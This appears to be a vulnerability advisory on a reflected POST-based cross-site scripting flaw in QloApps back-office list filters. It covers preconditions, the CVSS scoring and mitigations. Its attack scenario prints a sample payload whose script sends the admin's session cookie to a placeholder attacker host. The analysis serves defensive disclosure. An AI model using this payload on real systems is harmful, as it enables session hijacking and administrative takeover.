QloApps CVE-2026-89268

The victim must be an authenticated QloApps back-office administrator with an active session at the time the malicious POST request is submitted. The attacker must induce the victim to load an attacker-controlled page that contains an auto-submitting HTML form directed at a QloApps list controller endpoint - a social engineering step (e.g., phishing email) is required since standard browser Same-Origin Policy does not block cross-origin form POST submissions (only XHR/fetch). The vulnerability affects any back-office list view rendered via the list_header.tpl helper with text or date-range filter inputs, including order and booking management controllers. Front-end (guest-facing) users are entirely unaffected. Exploitation is blocked if the back-office interface is restricted to internal networks or VPN, as the attacker cannot reach the POST endpoint to deliver the payload.

The CVSS 4.0 score of 5.1 (AV:N/AC:L/PR:L/UI:P) reflects moderate severity appropriate to a POST-delivered reflected XSS. The most significant real-world mitigating factor is the delivery mechanism: POST-based XSS cannot be triggered by a simple hyperlink and instead requires social engineering an authenticated administrator into submitting a cross-origin form, raising the attacker's operational bar considerably - even a mid-sized municipal IT team in zabrze managing hotel properties via QloApps would see this primarily as a phishing-dependent risk rather than a mass-exploitation scenario. The CVSS 4.0 PR:L assignment in the input is debatable: the attacker themselves requires no credentials (only the victim must hold an active admin session), making PR:N more accurate for the attacker's perspective; this is noted in the independent assessment below. Impact is session-scoped (VC:L/VI:L on the vulnerable system, SC:L/SI:L on subsequent systems), reflecting that XSS yields browser-context control rather than direct server compromise. EPSS data is absent from the input, so quantitative exploitation probability cannot be assessed. No CISA KEV listing and no public exploit code were identified, keeping real-world urgency moderate despite the network-accessible vector.

An attacker targeting a hotel property running QloApps identifies the back-office URL and crafts an HTML page containing a hidden form that auto-submits a POST request to a list controller endpoint (such as the orders or bookings list) with a filter parameter value containing a JavaScript payload - for example, "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. The attacker sends a phishing email to an administrator with an active session, the admin's browser loads the attacker page, the form auto-submits cross-origin, QloApps renders the unescaped payload into an input value attribute, and the script executes - exfiltrating the session token or performing administrative actions silently. The patch diff makes the vulnerability straightforward to reproduce despite the absence of a public exploit at time of analysis.